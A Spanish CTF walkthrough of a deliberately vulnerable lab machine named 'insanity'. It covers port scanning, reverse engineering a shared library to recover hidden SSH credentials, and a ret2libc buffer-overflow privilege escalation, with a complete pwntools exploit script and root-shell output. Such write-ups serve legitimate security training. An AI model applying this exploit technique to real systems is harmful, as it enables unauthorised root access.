Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipinsanity.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shinsanity.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Desactivando el ASLR para poder resolver el laboratorio...
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 03:14 EST
Nmap scan report for 172.17.0.2
Host is up (0.000042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 d5:58:45:4b:77:e5:b7:ae:6f:bd:24:9c:6b:52:df:78 (ECDSA)
|_ 256 0b:30:46:79:83:bd:6f:00:28:a0:98:32:d1:ef:9f:02 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://insanity.dl
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
Vemos que cuando nos metemos en la pagina, nos redirige a un dominio llamado insanity.dl por lo que haremos lo siguiente.
nano/etc/hosts#Dentro del nano<IP> insanity.dl
Lo guardamos y volvemos a cargar la pagina.
Si inspeccionamos la pagina, abajo del todo veremos lo siguiente en el codigo:
<!-- Subdominio?? --><!-- Tal vez fuzzing??? --><!-- O capaz ninguno... -->
Vamos a probar a buscar alguna de estas cosas, por lo que realizaremos un poco de fuzzing con un diccionario grande, ya que con los medianos no encuentra nada:
Vemos un directorio interesante llamado /tinyp que si entramos en el veremos 2 archivos:
libcredenciales.so
secret
Por lo que nos lo descargaremos para ver mas en detalle que son.
Si ejecutamos el secret veremos lo siguiente:
./secret
Info:
Introduce la clave: 1234
Clave incorrecta.
Y si ejecutamos el otro veremos esto:
./libcredenciales.so
Info:
zsh: segmentation fault ./libcredenciales.so
Vemos que el archivo secret depende del archivo libcredenciales.so por lo que tendremos que investigar el archivo secret.
Pero no conseguimos mucho, sin embargo si utilizamos ghidra para hacer ingenieria inversa al archivo libcredenciales.so veremos lo siguiente:
Escalate user maci
Ingenieria inversa
ghidra
Seleccionamos el archivo libcredenciales.so y veremos el codigo en C, por lo que nos vamos a ver que funciones tiene y vemos unas bastante interesantes llamadas a,b y g.
El código sugiere que la función g() utiliza b() y a() para transformar un conjunto de valores almacenados en variables como local_4d8, local_4d4, etc., en una cadena de caracteres que se utiliza como parte de una URL o nombre de archivo. Este flujo sugiere que puede haber una relación entre la transformación y un valor esperado.
Análisis del código:
a(int param_1):
Este realiza una transformación condicional:
Si el valor está entre 1 y 0x1A, suma 0x60.
Si no, hay casos especiales para 0x1B, 0x1C, 0x1D, y 0x1E.
Valores que no encajan en ninguna de estas condiciones se convierten a 0x3F.
b(long param_1, int param_2, long param_3):
Llama a a() para cada valor en un arreglo de enteros, transformándolos en caracteres que almacena en el espacio apuntado por param_3.
g():
Define un arreglo de valores (local_4d8, local_4d4, ..., local_438).
Usa b() para convertir estos valores en una cadena almacenada en auStack_528.
Construye una URL y ejecuta un comando wget para descargar un archivo.
Por lo que nos vamos a montar un script para poder decodificar eso y a ver a que URL nos manda esto:
decodeLibcredenciales.py
defa(param_1):if param_1 <1or param_1 >0x1A:if param_1 ==0x1B:return0x3Aelif param_1 ==0x1C:return0x2Felif param_1 ==0x1D:return0x2Eelif param_1 ==0x1E:return0x5Felse:return0x3Felse:return param_1 +0x60defb(values): result =""for value in values: result +=chr(a(value))return result# Valores extraídos de g()values = [8,20,20,16,27,28,28,9,14,19,1,14,9,20,25,29,4,12,28,21,12,20,18,1,30,19,5,3,18,5,20,30,6,15,12,4,5,18,11,13,1]# Ejecutar b() sobre los valoresresult =b(values)print("Resultado:", result)
Vemos que hay un directorio en la web, si entramos ahi veremos un .txt con una secuencia de numeros 2334645634646.txt dentro de el veremos lo siguiente:
Credenciales de ssh
maci:CrACkEd
Vemos que hemos obtenido las credenciales del usuario maci, por lo que nos conectaremos a el.
SSH
sshmaci@<IP>
Metemos como contraseña CrACkEd y veremos que estamos dentro.
Vemos una interesante que esta en el /opt llamado vuln, si la intentamos ejecutar, veremos lo siguiente:
cd/opt./vuln
Info:
Escribe tu nombre: maci
Y nos vemos nada mas, pero si probamos lo siguiente:
./vuln
Info:
Escribe tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Vemos que nos da un Segmentation fault por lo que podremos hacerle Buffer Overflow.
Si comprobamos si gdb esta instalado, vemos que si lo esta:
gdb-h
Por lo que podremos hacerlo directamente en la propia maquina victima.
GDB
gdb-q./vuln
Dentro del gdb con el binario cargado vamos a probar a realizar una explotación de ret2libc, lo que implica el uso de funciones de la biblioteca estándar de C (como system, execve, o exit) para ejecutar un código malicioso (en este caso, obtener una shell)
Obtener el offset del binario
En nuestro kali nos tendremos que llevar el binario para saber el offset de forma mas sencillita, por lo que abriremos un server de python3 en la maquina y nos lo pasaremos al kali con wget una vez que ya lo tengamos instalaremos la herramienta para el gdb llamada pwndbg, una vez echo todo esto, haremos lo siguiente:
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401181 : add al, ch ; mov ecx, 0x90fffffe ; leave ; ret
0x00000000004010db : add bh, bh ; loopne 0x401145 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010a8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x00000000004011da : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040114a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x00000000004010aa : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x00000000004011dc : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040114b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401149 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010da : add dil, dil ; loopne 0x401145 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040114c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401147 : add eax, 0x2ef3 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401186 : call qword ptr [rax + 0x4855c3c9]
0x0000000000401010 : call rax
0x0000000000401163 : cli ; jmp 0x4010f0
0x00000000004010d8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401145 ; nop ; ret
0x0000000000401160 : endbr64 ; jmp 0x4010f0
0x0000000000401169 : in eax, 0x5f ; nop ; pop rbp ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010d5 : je 0x4010e0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401117 : je 0x401120 ; mov edi, 0x404038 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401164 : jmp 0x4010f0
0x00000000004010dc : jmp rax
0x0000000000401188 : leave ; ret
0x00000000004010dd : loopne 0x401145 ; nop ; ret
0x0000000000401146 : mov byte ptr [rip + 0x2ef3], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401165 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x00000000004011d9 : mov eax, 0 ; pop rbp ; ret
0x0000000000401168 : mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401183 : mov ecx, 0x90fffffe ; leave ; ret
0x00000000004010d7 : mov edi, 0x404038 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401167 : mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401187 : nop ; leave ; ret
0x000000000040116b : nop ; pop rbp ; ret
0x00000000004010df : nop ; ret
0x000000000040115c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010f0
0x00000000004010ac : nop dword ptr [rax] ; ret
0x00000000004010d6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x000000000040114d : pop rbp ; ret
0x000000000040116a : pop rdi ; nop ; pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401166 : push rbp ; mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011e1 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011e0 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010d3 : test eax, eax ; je 0x4010e0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401115 : test eax, eax ; je 0x401120 ; mov edi, 0x404038 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 73
Vemos que la que nos interesa seria la siguiente linea:
0x0000000000401016 : ret
Por lo que seria la dirección 0x0000000000401016.
Buscar la dirección de memoria pop_rdi_ret
ROPgadget--binary./vuln|grep"pop rdi"
Info:
0x0000000000401165 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401168 : mov ebp, esp ; pop rdi ; nop ; pop rbp ; ret
0x0000000000401167 : mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
0x000000000040116a : pop rdi ; nop ; pop rbp ; ret
0x0000000000401166 : push rbp ; mov rbp, rsp ; pop rdi ; nop ; pop rbp ; ret
Vemos que la que nos interesa seria 0x000000000040116a.
Esto nos da la dirección del gadget que necesitamos. pop rdi; ret carga el valor de un argumento en el registro rdi (el primero para las funciones como system()) y luego hace un ret para volver a la siguiente instrucción, que normalmente será la ejecución de la función.
Podremos obtener mas informacion acerca de esta tecnica y de como funciona en la siguiente pagina en la que me ayudo bastante para poder realizarla.
La técnica ret2libc es un ataque de desbordamiento de buffer utilizado para ejecutar funciones de la librería estándar de C (libc) sin necesidad de tener que escribir código malicioso como shellcode. En lugar de inyectar código directamente, el atacante redirige la ejecución del programa para llamar funciones ya presentes en la librería del sistema, como system(), que permite ejecutar comandos en el sistema operativo.
En un ataque ret2libc:
Buffer overflow: El atacante provoca un desbordamiento en un buffer, lo que sobrescribe el registro de retorno (el RIP o EIP en arquitecturas modernas) y lo redirige a una función de libc, por ejemplo, system().
Gadget de ROP: Utiliza gadgets que permiten controlar los registros necesarios para invocar funciones en la libc de manera adecuada, como cargar los parámetros requeridos por la función system() (como la dirección de "/bin/sh").
Ejecutar comandos: Esto permite al atacante ejecutar comandos del sistema, como abrir una shell con system("/bin/sh").
Identificación de gadgets útiles:
Para realizar un ataque ret2libc, necesitamos gadgets que nos ayuden a preparar los registros para llamar a la función que queremos. En este caso, el gadget necesario es pop rdi; ret, que nos permite poner un argumento en el registro rdi (el primer argumento de una función en la convención de llamada x86_64).
Usamos ROPgadget para encontrar estos gadgets. En el caso de nuestro binario, el gadget pop rdi; ret lo encontramos en la dirección 0x40116a.
Encontrar direcciones en la libc:
Para poder llamar a system(), necesitamos la dirección de esa función dentro de la memoria. Esta dirección está contenida dentro de la librería libc (una librería estándar que es utilizada por muchos programas).
Una forma de encontrar esta dirección es buscar en memoria por la cadena "/bin/sh", que es el argumento que pasa a la función system() para ejecutar un shell. En este caso, la dirección encontrada fue 0x7ffff7f73031.
Obtener la dirección de system():
Para realizar el ataque, necesitamos la dirección de la función system(), que es la que ejecutará el comando /bin/sh en el sistema. Usamos pwn para obtener esta dirección desde la librería libc.
Sabiendo toda esta informacion vamos a montarnos un script en python3:
from pwn import*# Cargar el binariobinary =ELF('/opt/vuln')p =process('/opt/vuln')# Direcciones relevantespop_rdi_ret =0x40116a# Dirección del gadget `pop rdi ; ret`ret =0x401016# Gadget `ret` para alineación (opcional)bin_sh =0x7ffff7f73031# Nueva dirección de "/bin/sh"system =0x7ffff7e29490# Dirección de `system`# Construcción del payloadoffset =136# Offset para sobrescribir el RIPpayload =b"A"* offset # Rellenopayload +=p64(pop_rdi_ret)# Gadget `pop rdi ; ret`payload +=p64(bin_sh)# Dirección de "/bin/sh"payload +=p64(ret)# Gadget `ret` para alineación (opcional)payload +=p64(system)# Dirección de `system`# Enviar el payloadp.sendline(payload)p.interactive()
Explicación del payload:
Relleno (A * offset): Se coloca un relleno para sobrescribir el registro de retorno (RIP) en la pila. El offset de 136 es obtenido a través de pruebas previas (por ejemplo, con gdb).
Gadget pop rdi ; ret: Usamos este gadget para colocar la dirección de "/bin/sh" en el registro rdi, que es el primer argumento para system().
Dirección de "/bin/sh": La dirección de la cadena "/bin/sh" se obtiene de la memoria.
Gadget ret: A veces es necesario un gadget adicional como ret para garantizar que la pila esté bien alineada antes de llamar a la función.
Dirección de system(): Finalmente, usamos la dirección de la función system() para ejecutar el comando "/bin/sh", que debería abrir una shell.
Ahora lo ejecutaremos de la siguiente forma:
python3exploit.py
Info:
[*] '/opt/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/opt/vuln': pid 152
[*] Switching to interactive mode
Escribe tu nombre: $ id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(maci)
$ whoami
root
Y como vemos con esto ya seremos root, por lo que habremos terminado la maquina.